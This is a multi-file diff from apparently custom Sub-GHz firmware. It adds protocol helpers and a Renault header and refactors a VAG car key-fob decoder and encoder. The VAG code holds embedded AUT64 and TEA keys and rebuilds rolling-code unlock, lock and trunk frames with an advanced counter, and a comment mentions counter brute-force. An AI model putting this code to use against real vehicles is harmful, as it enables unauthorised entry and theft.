extern const char SUBGHZ_PROTOCOL_COMMON_PROTOCOL[];
|
||||
extern const char SUBGHZ_PROTOCOL_COMMON_PRESET[];
|
||||
extern const char SUBGHZ_PROTOCOL_COMMON_FREQUENCY[];
|
||||
extern const char SUBGHZ_PROTOCOL_COMMON_TYPE[];
|
||||
|
||||
bool subghz_protocol_common_preset_name_is_custom_marker(const char* preset_name);
|
||||
|
||||
const char* subghz_protocol_common_get_short_preset_name(const char* preset_name);
|
||||
bool subghz_protocol_common_parse_hex_u64_strict(const char* str, uint64_t* out_key);
|
||||
bool subghz_protocol_common_flipper_read_hex_u64(
|
||||
FlipperFormat* flipper_format,
|
||||
const char* key,
|
||||
uint64_t* out_key);
|
||||
void subghz_protocol_common_flipper_update_or_insert_u32(
|
||||
FlipperFormat* flipper_format,
|
||||
const char* key,
|
||||
uint32_t value);
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_common_verify_protocol_name(FlipperFormat* ff, const char* expected_name);
|
||||
|
||||
#define SUBGHZ_PROTOCOL_COMMON_FIELD_SERIAL 0x01U
|
||||
#define SUBGHZ_PROTOCOL_COMMON_FIELD_BTN 0x02U
|
||||
#define SUBGHZ_PROTOCOL_COMMON_FIELD_CNT 0x04U
|
||||
#define SUBGHZ_PROTOCOL_COMMON_FIELD_TYPE 0x08U
|
||||
|
||||
SubGhzProtocolStatus subghz_protocol_common_encoder_read_bit(
|
||||
FlipperFormat* ff,
|
||||
const uint16_t* allowed_bits,
|
||||
size_t allowed_bits_count,
|
||||
uint32_t* out_bit);
|
||||
|
||||
void subghz_protocol_common_encoder_read_fields(
|
||||
FlipperFormat* ff,
|
||||
uint32_t* serial_out,
|
||||
uint32_t* btn_out,
|
||||
uint32_t* cnt_out,
|
||||
uint32_t* type_out);
|
||||
|
||||
#define SUBGHZ_PROTOCOL_COMMON_ENCODER_REPEAT_MAX 50U
|
||||
|
||||
uint32_t subghz_protocol_common_encoder_read_repeat(FlipperFormat* ff, uint32_t default_repeat);
|
||||
|
||||
SubGhzProtocolStatus subghz_protocol_common_serialize_fields(
|
||||
FlipperFormat* ff,
|
||||
uint32_t field_mask,
|
||||
uint32_t serial,
|
||||
uint32_t btn,
|
||||
uint32_t cnt,
|
||||
uint32_t type);
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_common_write_display(FlipperFormat* ff, const char* protocol_name, const char* suffix);
|
||||
|
||||
static inline size_t subghz_protocol_common_emit(
|
||||
LevelDuration* up,
|
||||
size_t i,
|
||||
size_t cap,
|
||||
bool level,
|
||||
uint32_t us) {
|
||||
if(i < cap) up[i++] = level_duration_make(level, us);
|
||||
return i;
|
||||
}
|
||||
|
||||
size_t subghz_protocol_common_emit_merge(
|
||||
LevelDuration* up,
|
||||
size_t i,
|
||||
size_t cap,
|
||||
bool level,
|
||||
uint32_t us);
|
||||
|
||||
static inline size_t subghz_protocol_common_emit_manchester_bit(
|
||||
LevelDuration* up,
|
||||
size_t i,
|
||||
size_t cap,
|
||||
bool bit_value,
|
||||
uint32_t te) {
|
||||
i = subghz_protocol_common_emit(up, i, cap, bit_value, te);
|
||||
i = subghz_protocol_common_emit(up, i, cap, !bit_value, te);
|
||||
return i;
|
||||
}
|
||||
|
||||
size_t subghz_protocol_common_emit_byte_manchester(
|
||||
LevelDuration* up,
|
||||
size_t i,
|
||||
size_t cap,
|
||||
uint8_t value,
|
||||
uint32_t te);
|
||||
|
||||
size_t subghz_protocol_common_emit_short_pairs(
|
||||
LevelDuration* up,
|
||||
size_t i,
|
||||
size_t cap,
|
||||
uint32_t te,
|
||||
size_t pair_count);
|
||||
|
||||
uint8_t subghz_protocol_common_reverse_bits8(uint8_t value);
|
||||
void subghz_protocol_common_u64_to_bytes_be(uint64_t data, uint8_t bytes[8]);
|
||||
uint64_t subghz_protocol_common_bytes_to_u64_be(const uint8_t bytes[8]);
|
||||
|
||||
static inline bool
|
||||
subghz_protocol_common_is_short(uint32_t duration, const SubGhzBlockConst* t) {
|
||||
return DURATION_DIFF(duration, t->te_short) < t->te_delta;
|
||||
}
|
||||
|
||||
static inline bool
|
||||
subghz_protocol_common_is_long(uint32_t duration, const SubGhzBlockConst* t) {
|
||||
return DURATION_DIFF(duration, t->te_long) < t->te_delta;
|
||||
}
|
||||
|
||||
static inline ManchesterEvent
|
||||
subghz_protocol_common_manchester_event(uint32_t duration, bool level, const SubGhzBlockConst* t) {
|
||||
if(DURATION_DIFF(duration, t->te_short) < t->te_delta) {
|
||||
return level ? ManchesterEventShortLow : ManchesterEventShortHigh;
|
||||
}
|
||||
if(DURATION_DIFF(duration, t->te_long) < t->te_delta) {
|
||||
return level ? ManchesterEventLongLow : ManchesterEventLongHigh;
|
||||
}
|
||||
return ManchesterEventReset;
|
||||
}
|
||||
|
||||
typedef struct {
|
||||
SubGhzProtocolDecoderBase base;
|
||||
SubGhzBlockDecoder decoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
} SubGhzProtocolCommonDecoder;
|
||||
|
||||
typedef struct {
|
||||
SubGhzProtocolEncoderBase base;
|
||||
SubGhzProtocolBlockEncoder encoder;
|
||||
} SubGhzProtocolCommonEncoder;
|
||||
|
||||
uint8_t subghz_protocol_common_decoder_hash_blocks(void* context);
|
||||
|
||||
void subghz_protocol_common_decoder_free_default(void* context);
|
||||
|
||||
#define SUBGHZ_PROTOCOL_COMMON_SHARED_UPLOAD_CAPACITY 2048U
|
||||
|
||||
void subghz_protocol_common_encoder_free(void* context);
|
||||
void subghz_protocol_common_encoder_stop(void* context);
|
||||
LevelDuration subghz_protocol_common_encoder_yield(void* context);
|
||||
|
||||
void subghz_protocol_common_encoder_buffer_ensure(void* context, size_t capacity);
|
||||
|
||||
LevelDuration* subghz_protocol_common_shared_upload_buffer(void);
|
||||
size_t subghz_protocol_common_shared_upload_capacity(void);
|
||||
void subghz_protocol_common_shared_upload_release(void);
|
||||
@@ -0,0 +1,36 @@
|
||||
#pragma once
|
||||
|
||||
#include <furi.h>
|
||||
#include <lib/subghz/protocols/base.h>
|
||||
#include <lib/subghz/types.h>
|
||||
#include <lib/subghz/blocks/const.h>
|
||||
#include <lib/subghz/blocks/decoder.h>
|
||||
#include <lib/subghz/blocks/encoder.h>
|
||||
#include <lib/subghz/blocks/generic.h>
|
||||
#include <lib/subghz/blocks/math.h>
|
||||
#include <flipper_format/flipper_format.h>
|
||||
|
||||
#define RENAULT_PROTOCOL_V0_NAME "Renault V0"
|
||||
|
||||
extern const SubGhzProtocol renault_v0_protocol;
|
||||
|
||||
bool renault_v0_flipper_is_rolling(FlipperFormat* flipper_format);
|
||||
|
||||
void* subghz_protocol_decoder_renault_v0_alloc(SubGhzEnvironment* environment);
|
||||
void subghz_protocol_decoder_renault_v0_reset(void* context);
|
||||
void subghz_protocol_decoder_renault_v0_feed(void* context, bool level, uint32_t duration);
|
||||
uint8_t subghz_protocol_decoder_renault_v0_get_hash_data(void* context);
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_renault_v0_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset);
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_renault_v0_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
void subghz_protocol_decoder_renault_v0_get_string(void* context, FuriString* output);
|
||||
|
||||
void* subghz_protocol_encoder_renault_v0_alloc(SubGhzEnvironment* environment);
|
||||
void subghz_protocol_encoder_renault_v0_free(void* context);
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_renault_v0_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
void subghz_protocol_encoder_renault_v0_stop(void* context);
|
||||
LevelDuration subghz_protocol_encoder_renault_v0_yield(void* context);
|
||||
@@ -1,6 +1,5 @@
|
||||
#include "vag.h"
|
||||
#include "aut64.h"
|
||||
|
||||
#include "../blocks/const.h"
|
||||
#include "../blocks/decoder.h"
|
||||
#include "../blocks/encoder.h"
|
||||
@@ -34,15 +33,16 @@ static const SubGhzBlockConst subghz_protocol_vag_const = {
|
||||
#define VAG_T34_PREAMBLE_MIN 31u
|
||||
#define VAG_T34_SYNC_PAIRS 3u
|
||||
|
||||
#define VAG_DATA_GAP_MIN 4001u
|
||||
#define VAG_TOTAL_BITS 80u
|
||||
#define VAG_KEY1_BITS 64u
|
||||
#define VAG_PREFIX_BITS 15u
|
||||
#define VAG_BIT_LIMIT 96u
|
||||
#define VAG_FRAME_PREFIX_T1 0x2F3Fu
|
||||
#define VAG_FRAME_PREFIX_T2 0x2F1Cu
|
||||
#define VAG_DATA_GAP_MIN 4001u
|
||||
#define VAG_TOTAL_BITS 80u
|
||||
#define VAG_KEY1_BITS 64u
|
||||
#define VAG_PREFIX_BITS 15u
|
||||
#define VAG_BIT_LIMIT 96u
|
||||
#define VAG_FRAME_PREFIX_T1 0x2F3Fu
|
||||
#define VAG_FRAME_PREFIX_T2 0x2F1Cu
|
||||
|
||||
#define VAG_KEYS_COUNT 3
|
||||
#define VAG_ENCODER_UPLOAD_MAX_SIZE 2560
|
||||
|
||||
static const uint8_t vag_keys_packed[VAG_KEYS_COUNT][AUT64_KEY_STRUCT_PACKED_SIZE] = {
|
||||
{0x01, 0x37, 0x6C, 0x86, 0xAD, 0xAB, 0xCC, 0x43, 0x07, 0x4D, 0xE8, 0x59, 0xC1, 0x2F, 0x36, 0xAB},
|
||||
@@ -82,35 +82,39 @@ static const uint32_t vag_tea_key_schedule[] = {0x0B46502D, 0x5E253718, 0x2BF93A
|
||||
|
||||
static const char* vag_button_name(uint8_t btn) {
|
||||
switch(btn) {
|
||||
case 0x1:
|
||||
return "Unlock";
|
||||
case 0x2:
|
||||
return "Lock";
|
||||
case 0x4:
|
||||
return "Boot";
|
||||
case 0x10:
|
||||
return "Unlock";
|
||||
case 0x20:
|
||||
return "Lock";
|
||||
case 0x40:
|
||||
return "Trunk";
|
||||
case 0x80:
|
||||
return "Panic";
|
||||
return "Boot";
|
||||
default:
|
||||
return "??";
|
||||
return "Unkn";
|
||||
}
|
||||
}
|
||||
|
||||
static uint8_t vag_custom_to_btn(uint8_t custom, uint8_t original_btn) {
|
||||
switch(custom) {
|
||||
case 1: return 0x20;
|
||||
case 2: return 0x10;
|
||||
case 3: return 0x40;
|
||||
case 4: return 0x80;
|
||||
default: return original_btn;
|
||||
case 1: return 0x20;
|
||||
case 2: return 0x10;
|
||||
case 3:
|
||||
case 4: return 0x40;
|
||||
default: return original_btn;
|
||||
}
|
||||
}
|
||||
|
||||
static uint8_t vag_btn_to_custom(uint8_t btn) {
|
||||
switch(btn) {
|
||||
case 0x10: return 2;
|
||||
case 0x20: return 1;
|
||||
case 0x40: return 3;
|
||||
case 0x80: return 4;
|
||||
case 0x10: return 2;
|
||||
case 0x20: return 1;
|
||||
case 0x40:
|
||||
case 0x80: return 3;
|
||||
default: return 1;
|
||||
}
|
||||
}
|
||||
@@ -139,8 +143,7 @@ typedef struct SubGhzProtocolDecoderVAG {
|
||||
uint8_t check_byte;
|
||||
uint8_t key_idx;
|
||||
bool decrypted;
|
||||
|
||||
|
||||
|
||||
uint32_t last_valid_serial;
|
||||
uint32_t last_valid_cnt;
|
||||
} SubGhzProtocolDecoderVAG;
|
||||
@@ -175,18 +178,18 @@ static void vag_tea_encrypt(uint32_t* v0, uint32_t* v1, const uint32_t* key_sche
|
||||
}
|
||||
|
||||
static bool vag_dispatch_type_1_2(uint8_t dispatch) {
|
||||
return (dispatch == 0x2A || dispatch == 0x1C || dispatch == 0x46 || dispatch == 0x88);
|
||||
return (dispatch == 0x2A || dispatch == 0x1C || dispatch == 0x46);
|
||||
}
|
||||
|
||||
static bool vag_dispatch_type_3_4(uint8_t dispatch) {
|
||||
return (dispatch == 0x2B || dispatch == 0x1D || dispatch == 0x47 || dispatch == 0x89);
|
||||
return (dispatch == 0x2B || dispatch == 0x1D || dispatch == 0x47);
|
||||
}
|
||||
|
||||
static bool vag_button_valid(const uint8_t* dec) {
|
||||
uint8_t dec_byte = dec[7];
|
||||
uint8_t dec_btn = (dec_byte >> 4) & 0xF;
|
||||
|
||||
if(dec_btn == 1 || dec_btn == 2 || dec_btn == 4 || dec_btn == 8) {
|
||||
if(dec_btn == 1 || dec_btn == 2 || dec_btn == 4) {
|
||||
return true;
|
||||
}
|
||||
if(dec_byte == 0) {
|
||||
@@ -219,14 +222,7 @@ static void vag_fill_from_decrypted(
|
||||
|
||||
instance->cnt = (uint32_t)dec[4] | ((uint32_t)dec[5] << 8) | ((uint32_t)dec[6] << 16);
|
||||
|
||||
|
||||
uint8_t btn_nibble = (dec[7] >> 4) & 0xF;
|
||||
if(btn_nibble == 1) instance->btn = 0x10;
|
||||
else if(btn_nibble == 2) instance->btn = 0x20;
|
||||
else if(btn_nibble == 4) instance->btn = 0x40;
|
||||
else if(btn_nibble == 8) instance->btn = 0x80;
|
||||
else instance->btn = dec[7];
|
||||
|
||||
instance->btn = (dec[7] >> 4) & 0xF;
|
||||
instance->check_byte = dispatch_byte;
|
||||
instance->decrypted = true;
|
||||
}
|
||||
@@ -294,15 +290,8 @@ static void vag_parse_data(SubGhzProtocolDecoderVAG* instance) {
|
||||
((uint32_t)block_copy[2] << 8) | (uint32_t)block_copy[3];
|
||||
instance->cnt = (uint32_t)block_copy[4] | ((uint32_t)block_copy[5] << 8) |
|
||||
((uint32_t)block_copy[6] << 16);
|
||||
|
||||
|
||||
uint8_t btn_nibble = (block_copy[7] >> 4) & 0xF;
|
||||
if(btn_nibble == 1) instance->btn = 0x10;
|
||||
else if(btn_nibble == 2) instance->btn = 0x20;
|
||||
else if(btn_nibble == 4) instance->btn = 0x40;
|
||||
else if(btn_nibble == 8) instance->btn = 0x80;
|
||||
else instance->btn = block_copy[7];
|
||||
|
||||
|
||||
instance->btn = block_copy[7];
|
||||
instance->check_byte = dispatch_byte;
|
||||
instance->key_idx = key_idx;
|
||||
instance->decrypted = true;
|
||||
@@ -749,40 +738,33 @@ SubGhzProtocolStatus subghz_protocol_decoder_vag_serialize(
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderVAG* instance = context;
|
||||
|
||||
|
||||
if(!instance->decrypted && instance->data_count_bit >= 80) {
|
||||
vag_parse_data(instance);
|
||||
}
|
||||
|
||||
|
||||
uint64_t key1 = ((uint64_t)instance->key1_high << 32) | instance->key1_low;
|
||||
uint16_t key2_16bit = (uint16_t)(instance->key2_low & 0xFFFF);
|
||||
|
||||
instance->generic.data = key1;
|
||||
instance->generic.data_count_bit = instance->data_count_bit;
|
||||
|
||||
|
||||
SubGhzProtocolStatus ret =
|
||||
subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
|
||||
|
||||
if(ret == SubGhzProtocolStatusOk) {
|
||||
|
||||
uint8_t key2_bytes[8] = {0, 0, 0, 0, 0, 0, 0, 0};
|
||||
key2_bytes[6] = (uint8_t)((key2_16bit >> 8) & 0xFF);
|
||||
key2_bytes[7] = (uint8_t)(key2_16bit & 0xFF);
|
||||
flipper_format_write_hex(flipper_format, "Key2", key2_bytes, 8);
|
||||
|
||||
|
||||
uint32_t type = instance->vag_type;
|
||||
flipper_format_write_uint32(flipper_format, "Type", &type, 1);
|
||||
|
||||
|
||||
if(instance->decrypted && instance->key_idx != 0xFF) {
|
||||
uint32_t key_idx_temp = instance->key_idx;
|
||||
flipper_format_write_uint32(flipper_format, "KeyIdx", &key_idx_temp, 1);
|
||||
}
|
||||
if(instance->decrypted) {
|
||||
// Write Cnt so Counter BruteForce option appears in saved menu
|
||||
uint32_t cnt_tmp = instance->cnt;
|
||||
flipper_format_write_uint32(flipper_format, "Cnt", &cnt_tmp, 1);
|
||||
uint32_t serial_tmp = instance->serial;
|
||||
@@ -824,7 +806,7 @@ SubGhzProtocolStatus
|
||||
|
||||
instance->decrypted = false;
|
||||
vag_parse_data(instance);
|
||||
|
||||
|
||||
if(subghz_custom_btn_get_original() == 0) {
|
||||
subghz_custom_btn_set_original(vag_btn_to_custom(instance->btn));
|
||||
}
|
||||
@@ -877,9 +859,6 @@ static uint8_t vag_get_dispatch_byte(uint8_t btn, uint8_t vag_type) {
|
||||
case 0x10:
|
||||
case 1:
|
||||
return 0x1C;
|
||||
case 0x80:
|
||||
case 8:
|
||||
return 0x88;
|
||||
default:
|
||||
return 0x2A;
|
||||
}
|
||||
@@ -894,9 +873,6 @@ static uint8_t vag_get_dispatch_byte(uint8_t btn, uint8_t vag_type) {
|
||||
case 0x10:
|
||||
case 1:
|
||||
return 0x1D;
|
||||
case 0x80:
|
||||
case 8:
|
||||
return 0x89;
|
||||
default:
|
||||
return 0x2B;
|
||||
}
|
||||
@@ -904,27 +880,23 @@ static uint8_t vag_get_dispatch_byte(uint8_t btn, uint8_t vag_type) {
|
||||
}
|
||||
|
||||
static uint8_t vag_btn_to_byte(uint8_t btn, uint8_t vag_type) {
|
||||
|
||||
|
||||
|
||||
|
||||
uint8_t nibble;
|
||||
if(btn == 0x10) nibble = 1;
|
||||
else if(btn == 0x20) nibble = 2;
|
||||
else if(btn == 0x40) nibble = 4;
|
||||
else if(btn == 0x80) nibble = 8;
|
||||
else nibble = 2;
|
||||
|
||||
if(vag_type == 1) {
|
||||
return nibble;
|
||||
return btn;
|
||||
} else {
|
||||
|
||||
return btn;
|
||||
switch(btn) {
|
||||
case 0x1:
|
||||
return 0x10;
|
||||
case 0x2:
|
||||
return 0x20;
|
||||
case 0x4:
|
||||
return 0x40;
|
||||
default:
|
||||
return btn;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void vag_encoder_build_type1(SubGhzProtocolEncoderVAG* instance) {
|
||||
|
||||
size_t index = 0;
|
||||
LevelDuration* upload = instance->upload;
|
||||
|
||||
@@ -1010,16 +982,12 @@ static void vag_encoder_build_type1(SubGhzProtocolEncoderVAG* instance) {
|
||||
}
|
||||
}
|
||||
|
||||
upload[index++] = level_duration_make(false, 15000);
|
||||
upload[index++] = level_duration_make(false, 6000);
|
||||
|
||||
instance->size_upload = index;
|
||||
|
||||
if(index != 635) {
|
||||
}
|
||||
}
|
||||
|
||||
static void vag_encoder_build_type2(SubGhzProtocolEncoderVAG* instance) {
|
||||
|
||||
size_t index = 0;
|
||||
LevelDuration* upload = instance->upload;
|
||||
|
||||
@@ -1114,13 +1082,12 @@ static void vag_encoder_build_type2(SubGhzProtocolEncoderVAG* instance) {
|
||||
}
|
||||
}
|
||||
|
||||
upload[index++] = level_duration_make(false, 15000);
|
||||
upload[index++] = level_duration_make(false, 6000);
|
||||
|
||||
instance->size_upload = index;
|
||||
}
|
||||
|
||||
static void vag_encoder_build_type3_4(SubGhzProtocolEncoderVAG* instance) {
|
||||
|
||||
size_t index = 0;
|
||||
LevelDuration* upload = instance->upload;
|
||||
|
||||
@@ -1164,10 +1131,8 @@ static void vag_encoder_build_type3_4(SubGhzProtocolEncoderVAG* instance) {
|
||||
|
||||
uint64_t key1 = ((uint64_t)instance->key1_high << 32) | instance->key1_low;
|
||||
uint16_t key2 = (uint16_t)(instance->key2_low & 0xFFFF);
|
||||
|
||||
|
||||
for(int repeat = 0; repeat < 2; repeat++) {
|
||||
|
||||
for(int i = 0; i < 45; i++) {
|
||||
upload[index++] = level_duration_make(true, 500);
|
||||
upload[index++] = level_duration_make(false, 500);
|
||||
@@ -1181,54 +1146,32 @@ static void vag_encoder_build_type3_4(SubGhzProtocolEncoderVAG* instance) {
|
||||
upload[index++] = level_duration_make(false, 750);
|
||||
}
|
||||
|
||||
uint8_t consecutive_same = 0;
|
||||
bool prev_level = true;
|
||||
|
||||
for(int i = 63; i >= 0; i--) {
|
||||
bool bit = (key1 >> i) & 1;
|
||||
bool first_level = bit ? true : false;
|
||||
|
||||
if(first_level == prev_level) {
|
||||
consecutive_same++;
|
||||
}
|
||||
|
||||
if(bit) {
|
||||
upload[index++] = level_duration_make(true, 500);
|
||||
upload[index++] = level_duration_make(false, 500);
|
||||
prev_level = false;
|
||||
} else {
|
||||
upload[index++] = level_duration_make(false, 500);
|
||||
upload[index++] = level_duration_make(true, 500);
|
||||
prev_level = true;
|
||||
}
|
||||
}
|
||||
|
||||
bool last_level = false;
|
||||
for(int i = 15; i >= 0; i--) {
|
||||
bool bit = (key2 >> i) & 1;
|
||||
if(bit) {
|
||||
upload[index++] = level_duration_make(true, 500);
|
||||
upload[index++] = level_duration_make(false, 500);
|
||||
last_level = false;
|
||||
} else {
|
||||
upload[index++] = level_duration_make(false, 500);
|
||||
upload[index++] = level_duration_make(true, 500);
|
||||
last_level = true;
|
||||
}
|
||||
}
|
||||
|
||||
if(!last_level) {
|
||||
upload[index++] = level_duration_make(false, 10000);
|
||||
} else {
|
||||
upload[index++] = level_duration_make(false, 10000);
|
||||
}
|
||||
|
||||
upload[index++] = level_duration_make(false, 10000);
|
||||
}
|
||||
|
||||
instance->size_upload = index;
|
||||
|
||||
if(index != 518) {
|
||||
}
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_vag_get_string(void* context, FuriString* output) {
|
||||
@@ -1268,7 +1211,7 @@ void subghz_protocol_decoder_vag_get_string(void* context, FuriString* output) {
|
||||
if(instance->decrypted) {
|
||||
furi_string_cat_printf(
|
||||
output,
|
||||
"%s %dbit\r\n"
|
||||
"%s %db\r\n"
|
||||
"Key1:%08lX%08lX\r\n"
|
||||
"Key2:%04X KeyIdx:%d\r\n"
|
||||
"Ser:%08lX Cnt:%06lX\r\n"
|
||||
@@ -1296,8 +1239,6 @@ void subghz_protocol_decoder_vag_get_string(void* context, FuriString* output) {
|
||||
}
|
||||
}
|
||||
|
||||
#define VAG_ENCODER_UPLOAD_MAX_SIZE 2560
|
||||
|
||||
void* subghz_protocol_encoder_vag_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
|
||||
@@ -1307,7 +1248,7 @@ void* subghz_protocol_encoder_vag_alloc(SubGhzEnvironment* environment) {
|
||||
|
||||
instance->upload = malloc(VAG_ENCODER_UPLOAD_MAX_SIZE * sizeof(LevelDuration));
|
||||
instance->size_upload = 0;
|
||||
instance->repeat = 1;
|
||||
instance->repeat = 1;
|
||||
instance->front = 0;
|
||||
instance->is_running = false;
|
||||
|
||||
@@ -1347,8 +1288,6 @@ LevelDuration subghz_protocol_encoder_vag_yield(void* context) {
|
||||
SubGhzProtocolEncoderVAG* instance = context;
|
||||
|
||||
if(!instance->is_running || instance->repeat == 0) {
|
||||
if(instance->is_running) {
|
||||
}
|
||||
instance->is_running = false;
|
||||
return level_duration_reset();
|
||||
}
|
||||
@@ -1398,13 +1337,11 @@ SubGhzProtocolStatus
|
||||
}
|
||||
instance->vag_type = (uint8_t)type;
|
||||
|
||||
|
||||
uint32_t file_key_idx = 0xFF;
|
||||
flipper_format_rewind(flipper_format);
|
||||
bool has_key_idx = flipper_format_read_uint32(flipper_format, "KeyIdx", &file_key_idx, 1);
|
||||
instance->key_idx = has_key_idx ? (uint8_t)file_key_idx : 0xFF;
|
||||
|
||||
|
||||
SubGhzProtocolDecoderVAG decoder;
|
||||
memset(&decoder, 0, sizeof(decoder));
|
||||
decoder.key1_low = instance->key1_low;
|
||||
@@ -1424,37 +1361,28 @@ SubGhzProtocolStatus
|
||||
instance->key_idx = decoder.key_idx;
|
||||
}
|
||||
} else {
|
||||
|
||||
instance->serial = 0;
|
||||
instance->cnt = 0;
|
||||
instance->btn = 0x20;
|
||||
instance->btn = 0x20;
|
||||
}
|
||||
|
||||
|
||||
if(subghz_custom_btn_get_original() == 0) {
|
||||
subghz_custom_btn_set_original(vag_btn_to_custom(instance->btn));
|
||||
}
|
||||
subghz_custom_btn_set_max(4);
|
||||
|
||||
|
||||
uint8_t selected_custom;
|
||||
if(subghz_custom_btn_get() == SUBGHZ_CUSTOM_BTN_OK) {
|
||||
selected_custom = subghz_custom_btn_get_original();
|
||||
} else {
|
||||
selected_custom = subghz_custom_btn_get();
|
||||
}
|
||||
|
||||
|
||||
uint8_t new_btn = vag_custom_to_btn(selected_custom, instance->btn);
|
||||
subghz_block_generic_global_button_override_get(&new_btn);
|
||||
instance->btn = new_btn;
|
||||
|
||||
|
||||
|
||||
uint32_t override_cnt = 0;
|
||||
if(subghz_block_generic_global_counter_override_get(&override_cnt)) {
|
||||
instance->cnt = override_cnt & 0xFFFFFF;
|
||||
} else {
|
||||
uint32_t mult = furi_hal_subghz_get_rolling_counter_mult();
|
||||
instance->cnt = (instance->cnt + mult) & 0xFFFFFF;
|
||||
}
|
||||
|
||||
uint32_t mult = furi_hal_subghz_get_rolling_counter_mult();
|
||||
instance->cnt = (instance->cnt + mult) & 0xFFFFFF;
|
||||
|
||||
uint8_t type_byte = (uint8_t)(instance->key1_high >> 24);
|
||||
if(instance->vag_type == 1 && type_byte == 0x00) {
|
||||
@@ -1506,7 +1434,6 @@ SubGhzProtocolStatus
|
||||
if(!flipper_format_update_hex(flipper_format, "Key2", key2_write_bytes, 8)) {
|
||||
}
|
||||
|
||||
|
||||
if(instance->key_idx != 0xFF) {
|
||||
flipper_format_rewind(flipper_format);
|
||||
uint32_t key_idx32 = instance->key_idx;
|
||||
@@ -1516,7 +1443,6 @@ SubGhzProtocolStatus
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
flipper_format_rewind(flipper_format);
|
||||
uint32_t type32 = instance->vag_type;
|
||||
if(!flipper_format_update_uint32(flipper_format, "Type", &type32, 1)) {
|
||||
@@ -1524,23 +1450,12 @@ SubGhzProtocolStatus
|
||||
flipper_format_insert_or_update_uint32(flipper_format, "Type", &type32, 1);
|
||||
}
|
||||
|
||||
uint32_t btn32 = instance->btn;
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_insert_or_update_uint32(flipper_format, "Btn", &btn32, 1);
|
||||
|
||||
flipper_format_rewind(flipper_format);
|
||||
flipper_format_insert_or_update_uint32(flipper_format, "Cnt", &instance->cnt, 1);
|
||||
|
||||
|
||||
instance->repeat = 1;
|
||||
instance->repeat = 1;
|
||||
instance->front = 0;
|
||||
instance->is_running = true;
|
||||
|
||||
ret = SubGhzProtocolStatusOk;
|
||||
} while(false);
|
||||
|
||||
if(ret != SubGhzProtocolStatusOk) {
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
@@ -14,15 +14,16 @@ IWDGSTOP:0x1:rw
|
||||
IWDGSW:0x1:rw
|
||||
IPCCDBA:0x0:rw
|
||||
ESE:0x1:r
|
||||
SFSA:0xD7:r
|
||||
SFSA:0xCE:rw
|
||||
FSD:0x0:r
|
||||
DDS:0x1:r
|
||||
C2OPT:0x1:r
|
||||
NBRSD:0x0:r
|
||||
SNBRSA:0xB:r
|
||||
BRSD:0x0:r
|
||||
SBRSA:0x12:r
|
||||
SBRV:0x35C00:r
|
||||
# Word 15 (C2 Opts) - read-only in firmware (NULL register), keep device values
|
||||
# C2OPT:0x1:r
|
||||
# NBRSD:0x0:r
|
||||
# SNBRSA:0xB:r
|
||||
# BRSD:0x0:r
|
||||
# SBRSA:0x12:r
|
||||
# SBRV:0x35C00:r
|
||||
PCROP1A_STRT:0x1FF:r
|
||||
PCROP1A_END:0x0:r
|
||||
PCROP_RDP:0x1:rw
|
||||
|
||||
@@ -37,6 +37,13 @@ ENV.AppendUnique(
|
||||
"-specs=nano.specs",
|
||||
"-Wl,--gc-sections",
|
||||
"-Wl,--undefined=uxTopUsedPriority",
|
||||
"-Wl,--undefined=aci_gap_start_general_discovery_proc",
|
||||
"-Wl,--undefined=aci_gap_terminate_gap_proc",
|
||||
"-Wl,--undefined=aci_gap_create_connection",
|
||||
"-Wl,--undefined=hci_disconnect",
|
||||
"-Wl,--undefined=aci_gatt_disc_all_primary_services",
|
||||
"-Wl,--undefined=aci_gatt_write_char_value",
|
||||
"-Wl,--undefined=aci_gatt_write_without_resp",
|
||||
"-Wl,--wrap,_malloc_r",
|
||||
"-Wl,--wrap,_free_r",
|
||||
"-Wl,--wrap,_calloc_r",
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
entry,status,name,type,params
|
||||
Version,+,89.2,,
|
||||
Version,+,89.3,,
|
||||
Header,+,applications/drivers/subghz/cc1101_ext/cc1101_ext_interconnect.h,,
|
||||
Header,+,applications/services/applications.h,,
|
||||
Header,+,applications/services/bt/bt_service/bt.h,,
|
||||
@@ -50,6 +50,8 @@ Header,+,applications/services/power/power_service/power.h,,
|
||||
Header,+,applications/services/rpc/rpc_app.h,,
|
||||
Header,+,applications/services/storage/storage.h,,
|
||||
Header,+,lib/bit_lib/bit_lib.h,,
|
||||
Header,+,lib/ble_central/aci_decls.h,,
|
||||
Header,+,lib/ble_central/ble_central.h,,
|
||||
Header,+,lib/ble_profile/extra_profiles/hid_profile.h,,
|
||||
Header,+,lib/ble_profile/extra_services/hid_service.h,,
|
||||
Header,+,lib/datetime/datetime.h,,
|
||||
@@ -625,6 +627,12 @@ Function,-,_wctomb_r,int,"_reent*, char*, wchar_t, _mbstate_t*"
|
||||
Function,-,a64l,long,const char*
|
||||
Function,+,abort,void,
|
||||
Function,-,abs,int,int
|
||||
Function,+,aci_gap_create_connection,uint8_t,"uint16_t, uint16_t, uint8_t, const uint8_t*, uint8_t, uint16_t, uint16_t, uint16_t, uint16_t, uint16_t, uint16_t"
|
||||
Function,+,aci_gap_start_general_discovery_proc,uint8_t,"uint16_t, uint16_t, uint8_t, uint8_t"
|
||||
Function,+,aci_gap_terminate_gap_proc,uint8_t,uint8_t
|
||||
Function,+,aci_gatt_disc_all_primary_services,uint8_t,uint16_t
|
||||
Function,+,aci_gatt_write_char_value,uint8_t,"uint16_t, uint16_t, uint8_t, const uint8_t*"
|
||||
Function,+,aci_gatt_write_without_resp,uint8_t,"uint16_t, uint16_t, uint8_t, const uint8_t*"
|
||||
Function,-,acos,double,double
|
